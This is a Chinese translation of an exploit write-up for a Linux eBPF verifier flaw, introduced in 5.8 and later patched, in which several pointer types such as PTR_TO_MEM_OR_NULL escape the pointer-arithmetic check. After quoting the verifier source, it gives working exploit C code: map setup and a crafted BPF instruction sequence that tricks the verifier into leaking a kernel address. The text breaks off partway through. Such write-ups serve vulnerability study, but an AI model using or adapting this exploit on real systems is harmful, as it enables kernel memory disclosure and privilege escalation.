如果你只想构建并运行这个东西，点这里。 下面大致是对这篇中文文章（writeup）的翻译， 原文见此处。
我们将以 5.13.0 版本的主线内核代码作为参考。
可用的指针类型与检查其边界的函数之间存在不匹配。
这种不匹配最早在 Linux 5.8 中引入，此后已被修补。
可用指针类型的列表见
此处。```c
/* types of values stored in eBPF registers /
/ Pointer types represent:
如你所见，有许多 `_OR_NULL` 指针类型，用于指针可能...为 null 的情况。验证器通常只允许你在此处进行空值检查，或作为某些函数的参数。下面的函数，可在[此处](https://elixir.bootlin.com/linux/v5.13/source/kernel/bpf/verifier.c#L6720)查看，负责跟踪和检查指针边界。```c
/* Handles arithmetic on a pointer and a scalar: computes new min/max and var_off.
* Caller should also handle BPF_MOV case separately.
* If we return -EACCES, caller may want to try again treating pointer as a
* scalar. So we only emit a diagnostic if !env->allow_ptr_leaks.
*/
static int adjust_ptr_min_max_vals(struct bpf_verifier_env *env,
struct bpf_insn *insn,
const struct bpf_reg_state *ptr_reg,
const struct bpf_reg_state *off_reg)
{
// ... omitted ...
switch (ptr_reg->type) {
case PTR_TO_MAP_VALUE_OR_NULL:
verbose(env, "R%d pointer arithmetic on %s prohibited, null-check it first\n",
dst, reg_type_str[ptr_reg->type]);
return -EACCES;
case CONST_PTR_TO_MAP:
/* smin_val represents the known value */
if (known && smin_val == 0 && opcode == BPF_ADD)
break;
fallthrough;
case PTR_TO_PACKET_END:
case PTR_TO_SOCKET:
case PTR_TO_SOCKET_OR_NULL:
case PTR_TO_SOCK_COMMON:
case PTR_TO_SOCK_COMMON_OR_NULL:
case PTR_TO_TCP_SOCK:
case PTR_TO_TCP_SOCK_OR_NULL:
case PTR_TO_XDP_SOCK:
verbose(env, "R%d pointer arithmetic on %s prohibited\n",
dst, reg_type_str[ptr_reg->type]);
return -EACCES;
default:
break;
}
// ... omitted ...
return 0;
}
不幸的是，此列表缺少某些类型。具体来说，
PTR_TO_BTF_ID、PTR_TO_BTF_ID_OR_NULL、PTR_TO_MEM、
PTR_TO_MEM_OR_NULL、PTR_TO_RDONLY_BUF、PTR_TO_RDONLY_BUF_OR_NULL、
PTR_TO_RDWR_BUF 和 PTR_TO_RDWR_BUF_OR_NULL。通过使用 RINGBUF
映射类型，我们可以创建一个 PTR_TO_MEM_OR_NULL，这将允许我们执行
本不应执行的算术运算。
首先，我们创建两个映射。ARRAY 映射将用于在用户空间与 BPF 程序之间
传递信息。RINGBUF 映射将用于给
寄存器提供可利用的指针类型。```c
int create_bpf_maps(context_t *ctx)
{
int ret = 0;
ret = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(u32), PAGE_SIZE, 1);
if (ret < 0) {
WARNF("Failed to create comm map: %d (%s)", ret, strerror(-ret));
return ret;
}
ctx->comm_fd = ret;
if ((ret = bpf_create_map(BPF_MAP_TYPE_RINGBUF, 0, 0, PAGE_SIZE)) < 0) {
WARNF("Could not create ringbuf map: %d (%s)", ret, strerror(-ret));
return ret;
}
ctx->ringbuf_fd = ret;
return 0;
}
现在，我们加载并运行一个特制的 BPF 程序，它将首先，
将 `ARRAY` 映射地址的内核空间地址保存到 BPF 栈上，
然后利用之前的指针疏忽将该地址的最后一个字节
清零。验证器会认为我们正在从数组的开头读取，
但实际我们读取的是稍低几个字节的位置，这（希望）会让我们获得
一个内核地址。```c
int do_leak(context_t *ctx)
{
int ret = -1;
struct bpf_insn insn[] = {
// r9 = r1
BPF_MOV64_REG(BPF_REG_9, BPF_REG_1),
// r0 = bpf_lookup_elem(ctx->comm_fd, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
// if (r0 == NULL) exit(1)
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 2),
BPF_MOV64_IMM(BPF_REG_0, 1),
BPF_EXIT_INSN(),
// r8 = r0
BPF_MOV64_REG(BPF_REG_8, BPF_REG_0),
// r0 = bpf_ringbuf_reserve(ctx->ringbuf_fd, PAGE_SIZE, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->ringbuf_fd),
BPF_MOV64_IMM(BPF_REG_2, PAGE_SIZE),
BPF_MOV64_IMM(BPF_REG_3, 0x00),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_reserve),
// this is where the verifier loses track of r1
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),
// if (r0 != NULL) { ringbuf_discard(r0, 1); exit(2); }
BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 5),
BPF_MOV64_REG(BPF_REG_1, BPF_REG_0),
BPF_MOV64_IMM(BPF_REG_2, 1),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_ringbuf_discard),
BPF_MOV64_IMM(BPF_REG_0, 2),
BPF_EXIT_INSN(),
// verifier believe r0 = 0 and r1 = 0. However, r0 = 0 and r1 = 1 on runtime.
// r7 = r1 + 8
BPF_MOV64_REG(BPF_REG_7, BPF_REG_1),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 8),
// verifier believe r7 = 8, but r7 = 9 actually.
// store the array pointer (0xFFFF..........10 + 0xE0)
BPF_MOV64_REG(BPF_REG_6, BPF_REG_8),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 0xE0),
BPF_STX_MEM(BPF_DW, BPF_REG_10, BPF_REG_6, -8),
// partial overwrite array pointer on stack
// r0 = bpf_skb_load_bytes_relative(r9, 0, r8, r7, 0)
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),
BPF_MOV64_IMM(BPF_REG_2, 0),
BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -16),
BPF_MOV64_REG(BPF_REG_4, BPF_REG_7),
BPF_MOV64_IMM(BPF_REG_5, 1),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_skb_load_bytes_relative),
// r6 = 0xFFFF..........00 (off = 0xE0)
BPF_LDX_MEM(BPF_DW, BPF_REG_6, BPF_REG_10, -8),
BPF_ALU64_IMM(BPF_SUB, BPF_REG_6, 0xE0),
// map_update_elem(ctx->comm_fd, 0, r6, 0)
BPF_LD_MAP_FD(BPF_REG_1, ctx->comm_fd),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_8),
BPF_MOV64_REG(BPF_REG_3, BPF_REG_6),
BPF_MOV64_IMM(BPF_REG_4, 0),
BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_update_elem),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN()
};